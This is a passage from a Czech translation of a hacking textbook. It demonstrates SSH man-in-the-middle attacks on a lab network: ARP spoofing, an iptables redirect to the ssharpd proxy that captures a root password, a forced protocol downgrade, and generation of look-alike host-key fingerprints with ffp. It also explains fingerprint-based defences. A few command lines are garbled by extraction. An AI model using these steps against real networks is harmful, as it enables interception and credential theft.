IP tak, aby se spojení z portu 22 přesměrovávalo na port 1337, na kterém

běží ssharpd. Potom skript pro přesměrování ARPu přesměruje provoz

mezi 192.168.0.118 a 192.168.0.189 tak, že vše bude procházet přes

192.168.0.193. Následující výstup nám tento postup objasní:

Výpis: overdose @ 192.168.0.193

overdose# iptables -t nat -A PREROUTING -p tcp --sport 1000:5000 --dport 22 -j

REDIRECT --to-port 1337 -i eth0

overdose# ./ssharpd -4 -p 1337

Dude, Stealth speaking here. This is 7350ssharp, a smart

SSH1 & SSH2 MiM attack implementation. It's for demonstration

and educational purposes ONLY! Think before you type ... (<ENTER> or <Ctrl-C>)

overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189

Pinguju 192.168.0.118 a 192.168.0.189 k získání MAC adres...

Získávám MAC adresu z cache arpu...

Získávám vaše IP a MAC adresy z ifconfig...

[*] Brána: 192.168.0.118 je na 00:C0:F0:79:3D:30

[*] Cíl : 192.168.0.189 je na 00:02:2D:04:93:E4

[*] Vy : 192.168.0.193 je na 00:00:AD:D1:C7:ED

Přesměrovávám: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189

Přesměrovávám: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189

Nyní vytvoříme SSH spojení z 192.168.0.118 k 192.168.0.189.

210 0x400 Kryptologie

Výpis: euclid @ 192.168.0.118

euclid$ ssh root@192.168.0.18euclid$ 192.168.0.189

The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.

RSA key fingerprint is 01:17:51:de:91:9b:58:69:b2:91:6f:3a:e2:f8:48:fe.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.0.189' (RSA) to the list of known hosts.

root@192.168.0.189's password:

Last login: Wed Jan 22 14:03:57 2003 from 192.168.0.118

tetsuo# exit

Connection to 192.168.0.189 closed.

euclid$

Všechno zdá se funguje a spojení se jeví jako bezpečné. Nicméně na pozadí

stroje 192.168.0.193 se odehrává tohle:

Přesměrovávám: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189

Přesměrovávám: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189

Zachyceno Ctrl-C, ukončuji se.

Vracím cache arpu do normálu.

overdose# cat /tmp/ssharp

192.168.0.189:22 [root:1h4R)2cr4Kpa$$w0r)]

overdose#

Protože byl proces autentizace přesměrován na proxy 192.168.0.193,

bylo možné odposlechnout heslo.

Schopnost útočníka vydávat se za druhou stranu je tím, co dělá tento

útok úspěšným. SSL a SSH byly navrženy tak, že s touto možností počítají,

a tak mají ochranu proti podvržení identity. SSL k ověření identity používá

certifikáty a SSH používá otisky hostitele. Jestliže útočník nemá příslušný

certifikát nebo otisk pro B, jakmile se A pokusí vytvořit šifrovaný komunikační

kanál, signatury se nebudou shodovat a A na to bude upozorněn.

V předchozím příkladě 192.168.0.118 (euclid) nikdy předtím nekomunikoval

přes SSH s 192.168.0.189 (tetsuo) a proto nebude mít otisk hostitele.

Tento otisk, který byl přijat, byl ve skutečnosti otisk pro 192.168.0.193

(overdose). Pokud by tomu tak nebylo, 192.168.0.118 by už měl otisk

hostitele pro 192.168.0.189, celý útok by byl vyzrazen a uživatel by obdržel

viditelné varování, že něco není v pořádku.

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!

Hacking: umění exploitace 211

Someone could be eavesdropping on you right now (man-in-the-middle attack)Someone attack)!

It is also possible that the RSA host key has just been changed.

The fingerprint for the RSA key sent by the remote host is

01:17:51:de:91:9b:58:69:b2:91:6f:3a:e2:f8:48:fe.

Please contact your system administrator.

Klient OpenSSH nedovolí uživateli připojit se, dokud se otisk starého počítače

neodstraní. Nicméně mnoho Windows SSH klientů toto striktní pravidlo

nedodržuje a nabízí uživateli dialog box ve stylu "Jste si jisti

že chcete pokračovat?", kterým se neinformovaný uživatel bez starostí

prokliká.

0x452 Rozdí ly v otiscích host itele protokolu

SSH

Otisky hostitele SSH mají několik slabin. Ty se sice odstranily v novějších

verzích, ale ve starších implementacích nadále existují.

Obvykle se nejprve, když se vytváří SSH spojení s novým hostitelem,

vloží jeho otisk do souboru known_hosts, jak je vidět zde.

$ ssh 192.168.0.189

The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.

RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.0.189' (RSA) to the list of known hosts.

matrix@192.168.0.189's password: <ctrl-c>

$ grep 192.168.0.189 .ssh/known_hosts

192.168.0.189 ssh-rsa

AAAAB3NzaC1yc2EAAAABIwAAAIEAztDssBM41F7IPw+q/SXRjrqPp0ZazT1gfofdmBx9oVHBcHlby

rJDTdEhzA2EAXU6YowxyhApWUptpbPru4JW7aLhtCsWKLSFYAkdVnaXTIbWDD8rAfKFLOdaaW0ODx

ALOROxoTYasxMLWN4Ri0cdwpXZyyRqyYJP72Kqmdz1kjk=

Existují nicméně dvě odlišné verze protokolu SSH ­ SSH1 a SSH2 ­ každá

s vlastními otisky.

$ ssh -1 192.168.0.189

The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.

RSA1 key fingerprint is 87:6d:82:7f:15:49:37:af:3f:86:26:da:75:f1:bb:be.

Are you sure you want to continue connecting (yes/no)?

$ ssh -2 192.168.0.189

The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.

RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.

Are you sure you want to continue connecting (yes/no)?

$

212 0x400 Kryptologie

Banner zobrazený SSH serverem popisuje, které protokoly SSH podporuje

(vyznačeno tučně).

$ telnet 192.168.0.193 22

Trying 192.168.0.193...

Connected to 192.168.0.193.

Escape character is '^]'.

SSH-2.0-OpenSSH_3.5p1

Connection closed by foreign host.

$ telnet 192.168.0.189 22

Trying 192.168.0.189...

Connected to 192.168.0.189.

Escape character is '^]'.

SSH-1.99-OpenSSH_3.5p1

Connection closed by foreign host.

Banner z 192.168.0.193 obsahuje řetězec "SSH-2.0", což znamená, že

podporuje pouze protokol verze 2. Banner z 192.168.0.189 obsahuje řetězec

"SSH-1.99", takže podporuje protokoly verze 1 i 2. Podle konvence

"1.99" znamená, že podporuje oba protokoly. Často bývají SSH servery

nakonfigurovány tak, že zobrazují řetězec jako třeba "Protokol 1,2", což

znamená, že server používá oba protokoly, přičemž upřednostňuje verzi

SSH1.

V případě 192.168.0.193 je zřejmé, že libovolný klient, který se připojuje,

používá pouze verzi SSH2 a potom tedy používá otisk hostitele pro

protokol 2. V případě 192.168.0.189 je pravděpodobné, že komunikuje

pouze přes SSH1 a potom tedy bude mít otisk pro protokol 1.

Jestliže se pro útok typu MiM použil modifikovaný SSH démon, který donutil

klienta komunikovat jiným protokolem, nebudou nalezeny žádné otisky

hostitele. Uživatel bude jednoduše dotázán, zda-li si přeje uložit nový

otisk, namísto nějakého dlouhého varování. Nástroj ssharp má režim, ve

kterém se snaží donutit klienta komunikovat takovou verzí protokolu, která

varování méně pravděpodobněji zobrazí a aktivuje se pomocí přepínače -

7. Níže uvedený výstup nám ukazuje, že SSH server obvykle používá protokol

1, takže se pomocí přepínače -7 donutí používat protokol 2.

Výpis: Na eucl id @ 192.168.0.118 před MiM útokem

euclid$ telnet 192.168.0.189 22

Trying 192.168.0.189...

Connected to 192.168.0.189.

Escape character is '^]'.

SSH-1.99-OpenSSH_3.5p1

Hacking: umění exploitace 213

Výpis: Na overdose @ 192.168.0.118 při MiM útoku

overdose# iptables -t nat -A PREROUTING -p tcp --sport 1000:5000 --dport 22 -j

REDIRECT --to-port 1337 -i eth0

overdose# ./ssharpd -4 -p 1337 -7

Dude, Stealth speaking here. This is 7350ssharp, a smart

SSH1 & SSH2 MiM attack implementation. It's for demonstration

and educational purposes ONLY! Think before you type ... (<ENTER> or <Ctrl-C>)

Using special SSH2 MiM ...

overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189

Pinguju 192.168.0.118 a 192.168.0.189 k získání MAC adres...

Získávám MAC adresu z cache arpu...

Získávám vaše IP a MAC adresy z ifconfig...

[*] Brána: 192.168.0.118 je na 00:C0:F0:79:3D:30

[*] Cíl : 192.168.0.189 je na 00:02:2D:04:93:E4

[*] Vy : 192.168.0.193 je na 00:00:AD:D1:C7:ED

Přesměrovávám: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189

Přesměrovávám: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189

Výpis: Z eucl id @ 192.168.0.118 po MiM útoku

euclid$ telnet 192.168.0.189 22

Trying 192.168.0.189...

Connected to 192.168.0.189.

Escape character is '^]'.

SSH-2.0-OpenSSH_3.5p1

Obvykle se klienti jako euclid připojují k 192.168.0.189 pouze pomocí

SSH1, takže by měl být u klienta uložený jen otisk pro protokol 1. Když se

během MiM útoku vnutí protokol 2, nebude se porovnávat otisk útočníka

s uloženým otiskem kvůli odlišnosti verzí protokolu. Starší implementace

se jednoduše dotážou, zda-li si uživatel přeje otisk přidat do seznamu, protože

technicky vzato žádný otisk pro tento protokol uložený není. To je vidět

v následujícím výstupu.

euclid$ ssh root@192.168.0.189

The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established.

RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.

Are you sure you want to continue connecting (yes/no)?

214 0x400 Kryptologie

Protože je tato slabina veřejně známá, nové implementace OpenSSH mají

trochu delší varování:

euclid$ ssh root@192.168.0.18euclid$ 192.168.0.189

WARNING: RSA1 key found for host 192.168.0.189

in /home/matrix/.ssh/known_hosts:19

RSA1 key fingerprint c0:42:19:c7:0d:dc:d7:65:cd:c3:a6:53:ec:fb:82:f8.

The authenticity of host '192.168.0.189 (192.168.0.189)' can't be established,

but keys of different type are already known for this host.

RSA key fingerprint is cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f.

Are you sure you want to continue connecting (yes/no)?

Toto modifikované varování není tak do očí bijící, jako když se otisky stejného

protokolu neshodují. Protože ale ne všichni klienti jsou aktuální, může

se stále tato technika při MiM útoku hodit.

0x453 Fuzzy otisky

Konrad Riedl měl zajímavou myšlenku ohledně SSH otisků hostitele. Uživatelé

se často připojují na server z jiných klientů. Otisk se zobrazí a přidá

se do seznamu po každém použití nového klienta a uživatel je schopný si

časem zapamatovat obecnou strukturu otisku.

Nikdo si sice nepamatuje celý otisk, ale významnější změny si člověk

s trochou snahy všimne. Vědět jak otisk vypadá, když se připojujete pomocí

nového klienta, významně zvyšuje bezpečnost spojení. Pokud došlo

k MiM útoku, obvykle je možné změnu otisku okem vypozorovat.

Nicméně zrak a mozek se dají ošálit, některé otisky mohou vypadat velmi

podobně jako jiné. Číslice jako třeba 1 a 7 vypadají hodně podobně,

v závislosti na zobrazeném fontu. Obvykle se hexadecimální číslice zapamatovávají

jednodušeji ze začátku, zatímco číslice uprostřed hůř.

Cílem techniky fuzzy otisků je vygenerovat uživatelské klíče s otisky, které

vypadají dostatečně podobně jako originál, aby zmátly lidské oko.

Balíček OpenSSH poskytuje nástroje k získání hostitelského klíče ze serverů.

overdose$ ssh-keyscan -t rsa 192.168.0.189 > /tmp/189.hostkey

# 192.168.0.189 SSH-1.99-OpenSSH_3.5p1

overdose$ cat /tmp/189.hostkey

192.168.0.189 ssh-rsa

AAAAB3NzaC1yc2EAAAABIwAAAIEAztDssBM41F7IPw+q/SXRjrqPp0ZazT1gfofdmBx9oVHBcHlby

rJDTdEhzA2EAXU6YowxyhApWUptpbPru4JW7aLhtCsWKLSFYAkdVnaXTIbWDD8rAfKFLOdaaW0ODx

ALOROxoTYasxMLWN4Ri0cdwpXZyyRqyYJP72Kqmdz1kjk=

overdose$ ssh-keygen -l -f /tmp/189.hostkey

Hacking: umění exploitace 215

1024 cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f 192.168.0.181024 192.168.0.189

overdose$

Nyní, když je znám formát otisku hostitelského klíče stroje 192.168.0.189,

mohou být vygenerovány podobně vypadající fuzzy otisky. Program, který

to umí, vyvinul pan Riedl a můžete jej získat na adrese http://www.thc.

org/thc-ffp/. Následující výstup demonstruje vytvoření pár fuzzy otisků pro

192.168.0.189.

overdose$ ffp

Usage: ffp [Options]

Options:

-f type Specify type of fingerprint to use [Default: md5]

Available: md5, sha1, ripemd

-t hash Target fingerprint in byte blocks.

Colon-separated: 01:23:45:67... or as string 01234567...

-k type Specify type of key to calculate [Default: rsa]

Available: rsa, dsa

-b bits Number of bits in the keys to calculate [Default: 1024]

-K mode Specify key calulation mode [Default: sloppy]

Available: sloppy, accurate

-m type Specify type of fuzzy map to use [Default: gauss]

Available: gauss, cosine

-v variation Variation to use for fuzzy map generation [Default: 7.3]

-y mean Mean value to use for fuzzy map generation [Default: 0.14]

-l size Size of list that contains best fingerprints [Default: 10]

-s filename Filename of the state file [Default: /var/tmp/ffp.state]

-e Extract SSH host key pairs from state file

-d directory Directory to store generated ssh keys to [Default: /tmp]

-p period Period to save state file and display state [Default: 60]

-V Display version information

No state file /var/tmp/ffp.state present, specify a target hash.

$ ffp -f md5 -k rsa -b 1024 -t cc:80:12:75:86:49:3a:e6:8b:db:71:98:1e:10:5e:0f

---[Initializing]--------------------------------------------------------------

Initializing Crunch Hash: Done

Initializing Fuzzy Map: Done

Initializing Private Key: Done

Initializing Hash List: Done

Initializing FFP State: Done

---[Fuzzy Map]-----------------------------------------------------------------

Length: 32

Type: Inverse Gaussian Distribution

TOPlist